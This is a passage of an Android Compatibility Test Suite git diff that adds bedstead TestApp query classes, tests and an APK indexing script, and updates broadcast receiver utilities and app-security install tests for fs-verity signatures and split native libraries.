+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/** Entry point to Test App. Used for querying for {@link TestApp} instances. */
+public final class TestAppProvider {
+
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private boolean mTestAppsInitialised = false;
+    private final Set<TestAppDetails> mTestApps = new HashSet<>();
+
+    /** Begin a query for a {@link TestApp}. */
+    public TestAppQueryBuilder query() {
+        return new TestAppQueryBuilder(this);
+    }
+
+    /** Get any {@link TestApp}. */
+    public TestApp any() {
+        return query().get();
+    }
+
+    Set<TestAppDetails> testApps() {
+        initTestApps();
+        return mTestApps;
+    }
+
+    private void initTestApps() {
+        if (mTestAppsInitialised) {
+            return;
+        }
+        mTestAppsInitialised = true;
+
+        int indexId = sContext.getResources().getIdentifier(
+                "raw/index", /* defType= */ null, sContext.getPackageName());
+
+        try (InputStream inputStream = sContext.getResources().openRawResource(indexId);
+             BufferedReader bufferedReader =
+                     new BufferedReader(new InputStreamReader(inputStream))) {
+            String apkName;
+            while ((apkName = bufferedReader.readLine()) != null) {
+                loadApk(apkName);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("TODO");
+        }
+    }
+
+    private void loadApk(String apkName) {
+        TestAppDetails details = new TestAppDetails();
+        details.mPackageName = "android." + apkName; // TODO: Actually index the package name
+        details.mResourceIdentifier = sContext.getResources().getIdentifier(
+                "raw/" + apkName, /* defType= */ null, sContext.getPackageName());
+
+        mTestApps.add(details);
+    }
+
+    void markTestAppUsed(TestAppDetails testApp) {
+        mTestApps.remove(testApp);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
new file mode 100644
index 0000000..cd50513
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+/** Builder for progressively building {@link TestApp} queries. */
+public final class TestAppQueryBuilder {
+    // TODO(scottjonathan): Consider how specific we can make this query builder - perhaps pull out
+    //  the queries from EventLib and use them here too
+    private final TestAppProvider mProvider;
+    private String mPackageName = null;
+
+    TestAppQueryBuilder(TestAppProvider provider) {
+        if (provider == null) {
+            throw new NullPointerException();
+        }
+        mProvider = provider;
+    }
+
+    /**
+     * Query for a {@link TestApp} with a given package name.
+     *
+     * <p>Only use this filter when you are relying specifically on the package name itself. If you
+     * are relying on features you know the {@link TestApp} with that package name has, query for
+     * those features directly.
+     */
+    public TestAppQueryBuilder withPackageName(String packageName) {
+        if (packageName == null) {
+            throw new NullPointerException();
+        }
+        mPackageName = packageName;
+        return this;
+    }
+
+    /**
+     * Get the {@link TestApp} matching the query.
+     *
+     * @throws NotFoundException if there is no matching @{link TestApp}.
+     */
+    public TestApp get() {
+        // TODO(scottjonathan): Provide instructions on adding the TestApp if the query fails
+        return new TestApp(resolveQuery());
+    }
+
+    private TestAppDetails resolveQuery() {
+        for (TestAppDetails details : mProvider.testApps()) {
+            if (mPackageName != null && !mPackageName.equals(details.mPackageName)) {
+                continue;
+            }
+
+            mProvider.markTestAppUsed(details);
+            return details;
+        }
+
+        throw new NotFoundException(this);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..2e95934
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp.test">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestApp Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.testapp.test"
+                     android:label="TestApp Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
new file mode 100644
index 0000000..5fdcffa
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class TestAppProviderTest {
+
+    // Expects that this package name matches an actual test app
+    private static final String EXISTING_PACKAGENAME = "android.EmptyTestApp";
+
+    // Expects that this package name does not match an actual test app
+    private static final String NOT_EXISTING_PACKAGENAME = "not.existing.test.app";
+
+    private final TestAppProvider mTestAppProvider = new TestAppProvider();
+
+    @Test
+    public void get_queryMatches_returnsTestApp() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(EXISTING_PACKAGENAME);
+
+        assertThat(query.get()).isNotNull();
+    }
+
+    @Test
+    public void get_queryMatches_packageNameIsSet() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(EXISTING_PACKAGENAME);
+
+        assertThat(query.get().packageName()).isEqualTo(EXISTING_PACKAGENAME);
+    }
+
+    @Test
+    public void get_queryDoesNotMatch_throwsException() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(NOT_EXISTING_PACKAGENAME);
+
+        assertThrows(NotFoundException.class, query::get);
+    }
+
+    @Test
+    public void any_returnsTestApp() {
+        assertThat(mTestAppProvider.any()).isNotNull();
+    }
+
+    @Test
+    public void any_returnsDifferentTestApps() {
+        assertThat(mTestAppProvider.any()).isNotEqualTo(mTestAppProvider.any());
+    }
+
+    @Test
+    public void query_onlyReturnsTestAppOnce() {
+        mTestAppProvider.query().withPackageName(EXISTING_PACKAGENAME).get();
+
+        TestAppQueryBuilder query = mTestAppProvider.query().withPackageName(EXISTING_PACKAGENAME);
+
+        assertThrows(NotFoundException.class, query::get);
+    }
+
+    // TODO(scottjonathan): Once we support features other than package name, test that we can get
+    //  different test apps by querying for the same thing
+}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
new file mode 100644
index 0000000..a325ef0
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class TestAppTest {
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserReference mUser = mTestApis.users().instrumented();
+    private final UserHandle mUserHandle = mUser.userHandle();
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private final TestAppProvider mTestAppProvider = new TestAppProvider();
+
+    @Test
+    public void reference_returnsNeneReference() {
+        TestApp testApp = mTestAppProvider.any();
+
+        assertThat(testApp.reference()).isEqualTo(mTestApis.packages().find(testApp.packageName()));
+    }
+
+    @Test
+    public void resolve_returnsNenePackage() {
+        TestApp testApp = mTestAppProvider.any();
+        testApp.install(mUser);
+
+        try {
+            Package pkg = testApp.resolve();
+
+            assertThat(pkg.packageName()).isEqualTo(testApp.packageName());
+        } finally {
+            testApp.reference().uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_userReference_installs() {
+        TestApp testApp = mTestAppProvider.any();
+
+        testApp.install(mUser);
+
+        try {
+            assertThat(testApp.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            testApp.reference().uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_userHandle_installs() {
+        TestApp testApp = mTestAppProvider.any();
+
+        testApp.install(mUserHandle);
+
+        try {
+            assertThat(testApp.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            testApp.reference().uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void writeApkFile_writesFile() throws Exception {
+        TestApp testApp = mTestAppProvider.any();
+        File filesDir = sContext.getExternalFilesDir(/* type= */ null);
+        File outputFile = new File(filesDir, "test.apk");
+        outputFile.delete();
+
+        testApp.writeApkFile(outputFile);
+
+        try {
+            assertThat(outputFile.exists()).isTrue();
+        } finally {
+            outputFile.delete();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/testapp/tools/index/index_testapps.py b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
new file mode 100644
index 0000000..26a7f1f
--- /dev/null
+++ b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
@@ -0,0 +1,32 @@
+#  Copyright (C) 2021 The Android Open Source Project
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+
+import argparse
+from pathlib import Path
+
+def main():
+    args_parser = argparse.ArgumentParser(description='Generate index for test apps')
+    args_parser.add_argument('--directory', help='Directory containing test apps')
+    args = args_parser.parse_args()
+
+    pathlist = Path(args.directory).rglob('*.apk')
+    file_names = [p.name for p in pathlist]
+
+    # TODO(scottjonathan): Replace this with a proto with actual details
+    with open(args.directory + "/index.txt", "w") as outfile:
+        for file_name in file_names:
+            print(file_name.rsplit(".", 1)[0], file=outfile)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index 44c810b..11da3d7 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -29,8 +29,7 @@
         "ub-uiautomator",
         "mockito-target-minus-junit4",
         "androidx.annotation_annotation",
-        "truth-prebuilt",
-        "Harrier"
+        "truth-prebuilt"
     ],
 
     libs: [
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
index 4a9bae8..2d0ac59 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -27,6 +27,7 @@
 import java.util.concurrent.ArrayBlockingQueue;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 
 /**
  * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
@@ -50,21 +51,36 @@
     private final BlockingQueue<Intent> mBlockingQueue;
     private final List<String> mExpectedActions;
     private final Context mContext;
+    @Nullable
+    private final Function<Intent, Boolean> mChecker;
 
     public BlockingBroadcastReceiver(Context context, String expectedAction) {
-        this(context, List.of(expectedAction));
+        this(context, expectedAction, /* checker= */ null);
+    }
+
+    public BlockingBroadcastReceiver(Context context, String expectedAction,
+            Function<Intent, Boolean> checker) {
+        this(context, List.of(expectedAction), checker);
     }
 
     public BlockingBroadcastReceiver(Context context, List<String> expectedActions) {
+        this(context, expectedActions, /* checker= */ null);
+    }
+
+    public BlockingBroadcastReceiver(
+            Context context, List<String> expectedActions, Function<Intent, Boolean> checker) {
         mContext = context;
         mExpectedActions = expectedActions;
         mBlockingQueue = new ArrayBlockingQueue<>(1);
+        mChecker = checker;
     }
 
     @Override
     public void onReceive(Context context, Intent intent) {
         if (mExpectedActions.contains(intent.getAction())) {
-            mBlockingQueue.add(intent);
+            if (mChecker == null || mChecker.apply(intent)) {
+                mBlockingQueue.add(intent);
+            }
         }
     }
 
@@ -75,6 +91,16 @@
     }
 
     /**
+     * Wait until the broadcast.
+     *
+     * <p>If no matching broadcasts is received within 60 seconds an {@link AssertionError} will
+     * be thrown.
+     */
+    public void awaitForBroadcastOrFail() {
+        awaitForBroadcastOrFail(DEFAULT_TIMEOUT_SECONDS * 1000);
+    }
+
+    /**
      * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
      * if no broadcast with expected action is received within 60 seconds.
      */
@@ -83,6 +109,18 @@
     }
 
     /**
+     * Wait until the broadcast.
+     *
+     * <p>If no matching broadcasts is received within the given timeout an {@link AssertionError}
+     * will be thrown.
+     */
+    public void awaitForBroadcastOrFail(long timeoutMillis) {
+        if (awaitForBroadcast(timeoutMillis) == null) {
+            throw new AssertionError("Did not receive matching broadcast");
+        }
+    }
+
+    /**
      * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
      * if no broadcast with expected action is received within the given timeout.
      */
diff --git a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
index c2f14f0..167882e 100644
--- a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
+++ b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
@@ -85,6 +85,11 @@
      */
     public void testAbiIs32bit() throws Exception {
         ITestDevice device = getDevice();
+        //skip this test for 64bit only system
+        String prop32bit = device.getProperty("ro.product.cpu.abilist32");
+        if (prop32bit == null || prop32bit.trim().isEmpty()){
+            return;
+        }
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Start the APK and wait for it to complete.
diff --git a/hostsidetests/adb/AndroidTest.xml b/hostsidetests/adb/AndroidTest.xml
index 3c429e7..b1cd198 100755
--- a/hostsidetests/adb/AndroidTest.xml
+++ b/hostsidetests/adb/AndroidTest.xml
@@ -1,8 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <configuration description="Config for the CTS adb host tests">
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MinApiLevelModuleController">
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.ShippingApiLevelModuleController">
         <option name="min-api-level" value="30" />
-        <option name="api-level-prop" value="ro.product.first_api_level" />
     </object>
 
     <option name="test-suite-tag" value="cts" />
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index d1507dff..45fa448 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -56,6 +56,7 @@
         put(SPLIT_APK_DM, "split_feature_x.dm");
     }};
 
+    private boolean mDmRequireFsVerity;
 
     @Before
     public void setUp() throws DeviceNotAvailableException {
@@ -63,6 +64,7 @@
         String apkVerityMode = device.getProperty("ro.apk_verity.mode");
         assumeTrue(device.getLaunchApiLevel() >= 30
                 || APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
+        mDmRequireFsVerity = "true".equals(device.getProperty("pm.dexopt.dm.require_fsverity"));
     }
 
     @After
@@ -183,20 +185,22 @@
 
     @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlyBaseHasFsvSig()
+    public void testInstallBaseWithFsvSigAndSplitWithout()
             throws DeviceNotAvailableException, FileNotFoundException {
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
                 .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
                 .addFile(SPLIT_APK_DM)
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX)
                 .runExpectingFailure();
     }
 
     @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlyDmHasFsvSig()
+    public void testInstallDmWithFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
         new InstallMultiple()
                 .addFile(BASE_APK)
@@ -204,20 +208,46 @@
                 .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
                 .addFile(SPLIT_APK_DM)
-                .runExpectingFailure();
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX)
+                .run();
+        verifyFsverityInstall(BASE_APK_DM, SPLIT_APK_DM);
     }
 
     @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlySplitHasFsvSig()
+    public void testInstallDmWithMissingFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
-        new InstallMultiple()
+        InstallMultiple installer = new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
-                .addFile(SPLIT_APK + FSV_SIG_SUFFIX)
+                .addFile(SPLIT_APK_DM);
+        if (mDmRequireFsVerity) {
+            installer.runExpectingFailure();
+        } else {
+            installer.run();
+            verifyFsverityInstall(BASE_APK_DM);
+        }
+    }
+
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
+    @Test
+    public void testInstallSplitWithFsvSigAndBaseWithout()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        InstallMultiple installer = new InstallMultiple()
+                .addFile(BASE_APK)
+                .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
+                .addFile(SPLIT_APK)
                 .addFile(SPLIT_APK_DM)
-                .runExpectingFailure();
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX);
+        if (mDmRequireFsVerity) {
+            installer.runExpectingFailure();
+        } else {
+            installer.run();
+            verifyFsverityInstall(BASE_APK_DM, SPLIT_APK_DM);
+        }
     }
 
     @CddTest(requirement="9.10/C-0-3,C-0-5")
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index f258dff..6852faf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -25,6 +25,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class IsolatedSplitsTests extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.isolatedsplitapp";
@@ -46,6 +48,27 @@
     private static final String APK_FEATURE_C_pl = "CtsIsolatedSplitAppFeatureC_pl.apk";
     private static final String APK_FEATURE_A_DiffRev = "CtsIsolatedSplitAppFeatureADiffRev.apk";
 
+    private static final String APK_BASE_WITHOUT_EXTRACTING = APK_BASE;
+    private static final String APK_FEATURE_JNI_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseJni.apk";
+    private static final String APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderA.apk";
+    private static final String APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderB.apk";
+    private static final String APK_FEATURE_PROXY_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProxy.apk";
+
+    private static final String APK_BASE_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrue.apk";
+    private static final String APK_FEATURE_JNI_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueJni.apk";
+    private static final String APK_FEATURE_PROVIDER_A_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderA.apk";
+    private static final String APK_FEATURE_PROVIDER_B_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderB.apk";
+    private static final String APK_FEATURE_PROXY_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProxy.apk";
+
     @Before
     public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
@@ -293,4 +316,153 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
                 "shouldNotFoundFeatureC");
     }
+
+    private InstallMultiple configureInstallMultiple(boolean instant, String...apks)
+            throws FileNotFoundException {
+        InstallMultiple installMultiple = new InstallMultiple(instant);
+        for (String apk : apks) {
+            installMultiple.addFile(apk);
+        }
+        return installMultiple;
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).runExpectingFailure(
+                "INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING, APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).runExpectingFailure(
+                "INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING, APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING, APK_FEATURE_JNI_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_bothBaseAndSplitExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_bothBaseAndSplitExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING);
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_onlyBaseExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_onlyBaseExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_neitherBaseNorSplitExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
